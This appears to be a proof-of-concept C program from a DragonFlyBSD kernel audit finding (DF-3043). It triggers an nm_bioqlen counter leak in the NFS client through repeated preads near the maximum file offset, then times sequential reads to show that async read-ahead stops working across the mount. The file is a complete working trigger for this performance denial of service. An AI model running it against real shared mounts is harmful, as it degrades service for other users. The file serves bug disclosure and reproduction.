⬢ DragonFlyBSD Kernel Audit
DF-3043 / df3043.c
← back to finding ↓ download raw
/* DF-3043 - nm_bioqlen leak kills async read-ahead mount-wide.
 * usage: df3043 <mnt>
 *   phase1: read seq (1MiB) fully, report wall time (async baseline)
 *   phase2: poison: 300 preads of 'big' at (maxfile-8192) - legal reads whose
 *           read-ahead blocks EFBIG early-out client-side, leaking nm_bioqlen
 *   phase3: read seq2 (1MiB) fully, report wall time (should be ~blockcount*delay
 *           if async is dead => reproduced)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
static double now(void){struct timespec ts;clock_gettime(CLOCK_MONOTONIC,&ts);return ts.tv_sec+ts.tv_nsec/1e9;}
static double readall(const char*p){
    char b[32768]; int fd=open(p,O_RDONLY); if(fd<0){perror(p);exit(1);}
    ssize_t s; double t0=now(); long tot=0;
    while((s=read(fd,b,sizeof b))>0) tot+=s;
    double t1=now(); close(fd);
    printf("  read %s: %ld bytes in %.3f s\n",p,tot,t1-t0);
    return t1-t0;
}
int main(int argc,char**argv){
    char p[512];
    if(argc<2){fprintf(stderr,"usage: df3043 mnt\n");return 2;}
    printf("phase1: baseline async sequential read (seq)\n");
    double base=readall((snprintf(p,sizeof p,"%s/seq",argv[1]),p));
    printf("phase2: poison nm_bioqlen via 'big' preads at maxfile-8192\n");
    snprintf(p,sizeof p,"%s/big",argv[1]);
    int fd=open(p,O_RDONLY);
    if(fd<0){perror("big");return 1;}
    char b[4096]; int efbig=0,ok=0;
    for(int i=0;i<300;i++){
        errno=0;
        ssize_t r=pread(fd,b,sizeof b,0x7FFFFFFFULL-8192);
        if(r<0){ if(errno== EFBIG||errno==0) efbig++; } else ok++;
    }
    close(fd);
    printf("  poison preads: ok=%d err=%d\n",ok,efbig);
    printf("phase3: sequential read of never-read seq2 (read-ahead should be dead)\n");
    double after=readall((snprintf(p,sizeof p,"%s/seq2",argv[1]),p));
    printf("TIMES: base=%.3f after=%.3f ratio=%.2fx\n",base,after,base>0?after/base:0);
    return 0;
}